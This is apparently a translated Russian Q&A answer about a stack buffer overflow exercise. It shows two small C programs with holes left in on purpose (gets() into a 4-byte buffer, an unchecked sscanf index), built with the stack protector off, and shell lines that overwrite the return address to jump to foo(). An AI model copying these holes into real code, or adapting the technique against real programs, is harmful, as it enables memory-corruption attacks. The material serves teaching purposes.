Функция strcpy()
останавливается, когда встречается нулевой байт (\x00
).Поскольку адрес, который вы хотите записать в стек , может содержать такой байт, возможно, допустимо сделать что-то аналогичное одному из следующих примеров.
отказ от ответственности
Из-за моего отсутствия доступа к среде OS X 10.6, следующий код был разработан и протестирован на 64-битной Windows 7 с использованием GCC 4.5.2 (MinGW 32-bit).Я использовал gdb для определения как адреса foo()
, так и местоположения адреса возврата в кадре стека.Дальнейшее объяснение того, как я использую GDB для определения смещения от буфера до адреса возврата, предоставлено здесь .
Пример 1
код
int main()
{
char s[4];
gets(s);
}
Размер буфера был уменьшен, чтобы использовать более короткий входной текст для переполнения буфера.
выход
gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef \ xc6 \ x13 \ x30 |./test
взломан!
Пример 2
код
int main(int argc, const char *argv[])
{
char s[100];
sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}
Использование atoi () для непосредственного нацеливания на адрес возврата не является хорошим примером «переполнения буфера».Тем не менее, это хорошее упражнение в поиске и изменении адреса возврата в кадре стека.
output
gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
взломан!